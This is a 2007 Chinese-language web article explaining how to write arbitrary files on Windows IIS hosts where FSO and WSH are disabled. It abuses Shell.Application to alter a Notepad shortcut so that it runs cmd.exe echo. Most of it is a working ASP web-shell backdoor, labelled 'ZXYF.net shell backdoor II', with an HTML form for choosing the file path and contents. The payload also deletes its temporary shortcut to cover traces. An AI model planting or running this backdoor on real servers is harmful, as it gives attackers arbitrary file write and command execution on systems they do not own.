你好,游客 登录 注册 搜索
背景:
阅读新闻

跨越FSO WSH写文件

[日期:2007-01-18] 来源:  作者:未知 [字体: ]

现在把代码也"升级"一下,以实现了文件的写入,因为对于禁用了FSO,WSH的主机来说写文件的确是一个难事. 你也许会问shell对象有写文件的功能吗?的确在MSDN中并没有介绍,但是shell对象可以对已存在的LNK/URL/PIF文件进行更改,并且更改后可以保存为别的文件名.

只能写LNK文件有用吗?这儿我们如果再使用shell对象的invokeverb方法来执行这个LNK文件的话那我们不就能写任意文件了!为什么?因为LNK文件中指定的执行程序是可以加参数的那么我们就可以调用cmd 的echo功能来写文件.

好思路在这儿了,编程中遇到的实际问题如下:

1.要找到一个everyone可以仿问的LNK文件。找了一下发现:
"C:\Documents and Settings\Default User\「开始」菜单\程序\附件"目录下的默认LNK文件everyone
用户都默认具有读取权限.

2.利用cmd.exe /c echo来写件的时候">","<",双引号,"&"等有特殊意义不能直接写入必须在它们的前面
使用转义符^.另外双引号在vb中也有特殊意义只有用chr(34)来代替.

<%
path=trim(Request.querystring("path"))
text=trim(Request.querystring("text"))
if text<>"" and path<>"" then
text=replace(text,">","^>")
text=replace(text,"<","^<")
text=replace(text,"&","^&")
text=replace(text,chr(34),"^"&chr(34))

set shell=server.createobject("shell.application")
set shellfolder=shell.namespace("C:\Documents and Settings\Default User\「开始」菜单\程序\附件")
set shellfolderitem=shellfolder.parsename("记事本.lnk")
set objshelllink =shellfolderitem.getlink
objshelllink.path="cmd.exe"
objshelllink.arguments="/c echo "&text&">"&path&" &&del c:\a.lnk"
objshelllink.save("c:\a.lnk")
shell.namespace("c:\").items.item("a.lnk").invokeverb
end if
%>


<html>
<title>ZXYF.net shell backdoor Ⅱ</title>
<form action=shell2.asp>
路径与文件名:<input type=text name=path size=40><p>
文件内容:<textarea name=text rows=20 cols=50 ></textarea><p>
<input type=submit value=生成文件>
</form>
</html>

收藏 推荐 打印 | 阅读:
本文评论   查看全部评论 (0)
表情: 表情 姓名: 字数
点评:
       
评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款
相关新闻      
热门评论